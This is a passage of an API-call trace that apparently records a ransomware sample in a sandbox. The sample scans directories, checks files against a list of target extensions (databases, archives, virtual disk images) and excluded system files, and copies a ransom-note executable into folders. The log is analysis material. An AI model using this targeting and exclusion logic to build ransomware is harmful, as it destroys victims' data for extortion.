	[0040.008] lstrlenW (lpString="orx") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0040.008] lstrlenW (lpString="owc") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0040.008] lstrlenW (lpString="p96") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0040.008] lstrlenW (lpString="p97") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0040.008] lstrlenW (lpString="pan") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0040.008] lstrlenW (lpString="pdb") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0040.008] lstrlenW (lpString="pdm") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0040.008] lstrlenW (lpString="pnz") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0040.008] lstrlenW (lpString="qry") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0040.008] lstrlenW (lpString="qvd") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0040.008] lstrlenW (lpString="rbf") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0040.008] lstrlenW (lpString="rctd") returned 4
	[0040.008] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0040.008] lstrlenW (lpString="rod") returned 3
	[0040.008] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0040.008] lstrlenW (lpString="rodx") returned 4
	[0040.009] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0040.009] lstrlenW (lpString="rpd") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0040.009] lstrlenW (lpString="rsd") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0040.009] lstrlenW (lpString="sas7bdat") returned 8
	[0040.009] lstrcmpiW (lpString1="vice.png", lpString2="sas7bdat") returned 1
	[0040.009] lstrlenW (lpString="sbf") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0040.009] lstrlenW (lpString="scx") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0040.009] lstrlenW (lpString="sdb") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0040.009] lstrlenW (lpString="sdc") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0040.009] lstrlenW (lpString="sdf") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0040.009] lstrlenW (lpString="sis") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0040.009] lstrlenW (lpString="spq") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0040.009] lstrlenW (lpString="te") returned 2
	[0040.009] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0040.009] lstrlenW (lpString="teacher") returned 7
	[0040.009] lstrcmpiW (lpString1="ice.png", lpString2="teacher") returned -1
	[0040.009] lstrlenW (lpString="tmd") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0040.009] lstrlenW (lpString="tps") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0040.009] lstrlenW (lpString="trc") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0040.009] lstrlenW (lpString="trc") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0040.009] lstrlenW (lpString="trm") returned 3
	[0040.009] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0040.009] lstrlenW (lpString="udb") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0040.010] lstrlenW (lpString="udl") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0040.010] lstrlenW (lpString="usr") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0040.010] lstrlenW (lpString="v12") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0040.010] lstrlenW (lpString="vis") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0040.010] lstrlenW (lpString="vpd") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0040.010] lstrlenW (lpString="vvv") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0040.010] lstrlenW (lpString="wdb") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0040.010] lstrlenW (lpString="wmdb") returned 4
	[0040.010] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0040.010] lstrlenW (lpString="wrk") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0040.010] lstrlenW (lpString="xdb") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0040.010] lstrlenW (lpString="xld") returned 3
	[0040.010] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0040.010] lstrlenW (lpString="xmlff") returned 5
	[0040.010] lstrcmpiW (lpString1="e.png", lpString2="xmlff") returned -1
	[0040.010] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff25d90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.010] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.010] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="Apollon865.txt.exe") returned 1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2=".") returned 1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="..") returned 1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="windows") returned -1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="bootmgr") returned 1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="temp") returned -1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="pagefile.sys") returned -1
	[0040.010] lstrcmpiW (lpString1="overlay.png", lpString2="boot") returned 1
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2="ids.txt") returned 1
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2="ntuser.dat") returned 1
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2="perflogs") returned -1
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2="MSBuild") returned 1
	[0040.011] lstrlenW (lpString="overlay.png") returned 11
	[0040.011] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 98
	[0040.011] lstrcpyW (in: lpString1=0x2d3e600, lpString2="overlay.png" | out: lpString1="overlay.png") returned="overlay.png"
	[0040.011] lstrlenW (lpString="overlay.png") returned 11
	[0040.011] lstrlenW (lpString="Apollon865") returned 10
	[0040.011] lstrcmpiW (lpString1="verlay.png", lpString2="Apollon865") returned 1
	[0040.011] lstrlenW (lpString=".dll") returned 4
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2=".dll") returned 1
	[0040.011] lstrlenW (lpString=".lnk") returned 4
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2=".lnk") returned 1
	[0040.011] lstrlenW (lpString=".ini") returned 4
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2=".ini") returned 1
	[0040.011] lstrlenW (lpString=".sys") returned 4
	[0040.011] lstrcmpiW (lpString1="overlay.png", lpString2=".sys") returned 1
	[0040.011] lstrlenW (lpString="overlay.png") returned 11
	[0040.011] lstrlenW (lpString="bak") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0040.011] lstrlenW (lpString="ba_") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0040.011] lstrlenW (lpString="dbb") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0040.011] lstrlenW (lpString="vmdk") returned 4
	[0040.011] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0040.011] lstrlenW (lpString="rar") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0040.011] lstrlenW (lpString="zip") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0040.011] lstrlenW (lpString="tgz") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0040.011] lstrlenW (lpString="vbox") returned 4
	[0040.011] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0040.011] lstrlenW (lpString="vdi") returned 3
	[0040.011] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0040.011] lstrlenW (lpString="vhd") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0040.012] lstrlenW (lpString="vhdx") returned 4
	[0040.012] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0040.012] lstrlenW (lpString="avhd") returned 4
	[0040.012] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0040.012] lstrlenW (lpString="db") returned 2
	[0040.012] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0040.012] lstrlenW (lpString="db2") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0040.012] lstrlenW (lpString="db3") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0040.012] lstrlenW (lpString="dbf") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0040.012] lstrlenW (lpString="mdf") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0040.012] lstrlenW (lpString="mdb") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0040.012] lstrlenW (lpString="sql") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0040.012] lstrlenW (lpString="sqlite") returned 6
	[0040.012] lstrcmpiW (lpString1="ay.png", lpString2="sqlite") returned -1
	[0040.012] lstrlenW (lpString="sqlite3") returned 7
	[0040.012] lstrcmpiW (lpString1="lay.png", lpString2="sqlite3") returned -1
	[0040.012] lstrlenW (lpString="sqlitedb") returned 8
	[0040.012] lstrcmpiW (lpString1="rlay.png", lpString2="sqlitedb") returned -1
	[0040.012] lstrlenW (lpString="xml") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0040.012] lstrlenW (lpString="$er") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0040.012] lstrlenW (lpString="4dd") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0040.012] lstrlenW (lpString="4dl") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0040.012] lstrlenW (lpString="^^^") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0040.012] lstrlenW (lpString="abs") returned 3
	[0040.012] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0040.012] lstrlenW (lpString="abx") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0040.013] lstrlenW (lpString="accdb") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accdb") returned 1
	[0040.013] lstrlenW (lpString="accdc") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accdc") returned 1
	[0040.013] lstrlenW (lpString="accde") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accde") returned 1
	[0040.013] lstrlenW (lpString="accdr") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accdr") returned 1
	[0040.013] lstrlenW (lpString="accdt") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accdt") returned 1
	[0040.013] lstrlenW (lpString="accdw") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accdw") returned 1
	[0040.013] lstrlenW (lpString="accft") returned 5
	[0040.013] lstrcmpiW (lpString1="y.png", lpString2="accft") returned 1
	[0040.013] lstrlenW (lpString="adb") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0040.013] lstrlenW (lpString="adb") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0040.013] lstrlenW (lpString="ade") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0040.013] lstrlenW (lpString="adf") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0040.013] lstrlenW (lpString="adn") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0040.013] lstrlenW (lpString="adp") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0040.013] lstrlenW (lpString="alf") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0040.013] lstrlenW (lpString="ask") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0040.013] lstrlenW (lpString="btr") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0040.013] lstrlenW (lpString="cat") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0040.013] lstrlenW (lpString="cdb") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0040.013] lstrlenW (lpString="ckp") returned 3
	[0040.013] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0040.014] lstrlenW (lpString="cma") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0040.014] lstrlenW (lpString="cpd") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0040.014] lstrlenW (lpString="dacpac") returned 6
	[0040.014] lstrcmpiW (lpString1="ay.png", lpString2="dacpac") returned -1
	[0040.014] lstrlenW (lpString="dad") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0040.014] lstrlenW (lpString="dadiagrams") returned 10
	[0040.014] lstrcmpiW (lpString1="verlay.png", lpString2="dadiagrams") returned 1
	[0040.014] lstrlenW (lpString="daschema") returned 8
	[0040.014] lstrcmpiW (lpString1="rlay.png", lpString2="daschema") returned 1
	[0040.014] lstrlenW (lpString="db-journal") returned 10
	[0040.014] lstrcmpiW (lpString1="verlay.png", lpString2="db-journal") returned 1
	[0040.014] lstrlenW (lpString="db-shm") returned 6
	[0040.014] lstrcmpiW (lpString1="ay.png", lpString2="db-shm") returned -1
	[0040.014] lstrlenW (lpString="db-wal") returned 6
	[0040.014] lstrcmpiW (lpString1="ay.png", lpString2="db-wal") returned -1
	[0040.014] lstrlenW (lpString="dbc") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0040.014] lstrlenW (lpString="dbs") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0040.014] lstrlenW (lpString="dbt") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0040.014] lstrlenW (lpString="dbv") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0040.014] lstrlenW (lpString="dbx") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0040.014] lstrlenW (lpString="dcb") returned 3
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0040.014] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0040.014] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0040.015] lstrcpyW (in: lpString1=0x2d3e600, lpString2="superbar.png" | out: lpString1="superbar.png") returned="superbar.png"
	[0040.015] lstrlenW (lpString="superbar.png") returned 12
	[0040.015] lstrlenW (lpString="Apollon865") returned 10
	[0040.015] lstrcmpiW (lpString1="perbar.png", lpString2="Apollon865") returned 1
	[0040.015] lstrlenW (lpString=".dll") returned 4
	[0040.015] lstrcmpiW (lpString1="superbar.png", lpString2=".dll") returned 1
	[0040.015] lstrlenW (lpString=".lnk") returned 4
	[0040.015] lstrcmpiW (lpString1="superbar.png", lpString2=".lnk") returned 1
	[0040.015] lstrlenW (lpString=".ini") returned 4
	[0040.015] lstrcmpiW (lpString1="superbar.png", lpString2=".ini") returned 1
	[0040.015] lstrlenW (lpString=".sys") returned 4
	[0040.015] lstrcmpiW (lpString1="superbar.png", lpString2=".sys") returned 1
	[0040.015] lstrlenW (lpString="superbar.png") returned 12
	[0040.015] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto"
	[0040.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0040.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.015] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto") returned 35
	[0040.015] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto"
	[0040.015] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.015] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.022] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.022] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.022] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.023] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.023] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.023] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.023] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.023] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="Apollon865.txt.exe") returned 1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2=".") returned 1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="..") returned 1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="windows") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="bootmgr") returned 1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="temp") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="pagefile.sys") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="boot") returned 1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="ids.txt") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="ntuser.dat") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="perflogs") returned -1
	[0040.023] lstrcmpiW (lpString1="DSS", lpString2="MSBuild") returned -1
	[0040.023] lstrlenW (lpString="DSS") returned 3
	[0040.023] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned 37
	[0040.023] lstrcpyW (in: lpString1=0x2d3e598, lpString2="DSS" | out: lpString1="DSS") returned="DSS"
	[0040.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc960
	[0040.023] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.023] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff72050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.023] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.023] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2="Apollon865.txt.exe") returned 1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2=".") returned 1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2="..") returned 1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2="windows") returned -1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2="bootmgr") returned 1
	[0040.023] lstrcmpiW (lpString1="Keys", lpString2="temp") returned -1
	[0040.024] lstrcmpiW (lpString1="Keys", lpString2="pagefile.sys") returned -1
	[0040.024] lstrcmpiW (lpString1="Keys", lpString2="boot") returned 1
	[0040.024] lstrcmpiW (lpString1="Keys", lpString2="ids.txt") returned 1
	[0040.024] lstrcmpiW (lpString1="Keys", lpString2="ntuser.dat") returned -1
	[0040.024] lstrcmpiW (lpString1="Keys", lpString2="perflogs") returned -1
	[0040.024] lstrcmpiW (lpString1="Keys", lpString2="MSBuild") returned -1
	[0040.024] lstrlenW (lpString="Keys") returned 4
	[0040.024] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned 39
	[0040.024] lstrcpyW (in: lpString1=0x2d3e598, lpString2="Keys" | out: lpString1="Keys") returned="Keys"
	[0040.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5983a8
	[0040.024] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.024] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="Apollon865.txt.exe") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2=".") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="..") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="windows") returned -1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="bootmgr") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="temp") returned -1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="pagefile.sys") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="boot") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="ids.txt") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="ntuser.dat") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="perflogs") returned 1
	[0040.024] lstrcmpiW (lpString1="RSA", lpString2="MSBuild") returned 1
	[0040.024] lstrlenW (lpString="RSA") returned 3
	[0040.024] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned 40
	[0040.024] lstrcpyW (in: lpString1=0x2d3e598, lpString2="RSA" | out: lpString1="RSA") returned="RSA"
	[0040.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0040.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc9b8
